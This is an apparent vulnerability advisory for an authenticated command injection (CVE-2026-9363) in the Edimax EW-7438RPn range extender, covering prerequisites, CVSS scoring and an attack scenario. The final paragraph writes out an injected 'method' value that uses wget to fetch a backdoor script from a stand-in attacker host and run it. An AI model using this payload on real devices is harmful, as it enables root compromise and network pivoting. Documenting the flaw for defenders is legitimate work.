Edimax EW-7438RPn CVE-2026-9363

Requires valid authentication credentials to the Edimax EW-7438RPn web management interface (CVSS PR:L). The device's administrative interface must be network-accessible to the attacker, either directly from the internet if remote management is enabled, or from an internal network segment the attacker has access to. The vulnerable endpoint /goform/formEZCHNwlanSetu must be reachable, which is the default configuration for the wireless setup functionality in firmware version 1.12. No user interaction is required beyond the initial authentication (UI:N). Exploitation is NOT possible against devices where: administrative access is restricted by firewall rules to specific trusted IP addresses, the web interface is disabled entirely in favor of physical-only configuration, or credentials are sufficiently strong to resist brute-force and credential stuffing attacks. Default or weak credentials significantly lower the exploitation barrier.

Real-world risk is moderate but actionable for organizations using this specific device. CVSS 6.3 (Medium) reflects network-accessible attack vector (AV:N) with low complexity (AC:L) but requires low-privileged authentication (PR:L), meaning an attacker needs valid credentials to the device's web interface. The Environmental score includes E:P (Proof-of-concept exploit exists), confirming public exploit code availability increases immediate risk. However, RL:X (Remediation Level Unavailable) indicates no vendor patch exists, forcing reliance on compensating controls. The limited scope (S:U) means compromise is contained to the vulnerable device itself, though embedded devices often lack segmentation from critical networks. Absence from CISA KEV suggests this is not yet widely exploited in attacks, likely due to the authentication requirement and the relatively niche deployment of this specific range extender model. The primary risk scenario involves attackers who have already compromised low-privilege device credentials (default passwords, credential stuffing, or social engineering) pivoting to full device compromise. For enterprises using these devices in guest networks or retail environments, risk is elevated; for home users with strong unique passwords, risk is lower.

An attacker identifies an Edimax EW-7438RPn device exposed on a corporate guest network or gained low-privilege credentials through phishing or default password reuse. The attacker authenticates to the device's web management interface and navigates to the wireless configuration section. They craft a malicious POST request to /goform/formEZCHNwlanSetu with the 'method' parameter containing injected shell commands such as '; wget http://attacker.com/backdoor.sh -O /tmp/b.sh; sh /tmp/b.sh ;'. The formEZCHNwlanSetup function executes this input without sanitization, running the attacker's commands with the privileges of the web server process (typically root on embedded devices). The attacker establishes persistent backdoor access, pivots to other network segments, or uses the compromised device as a foothold for further attacks.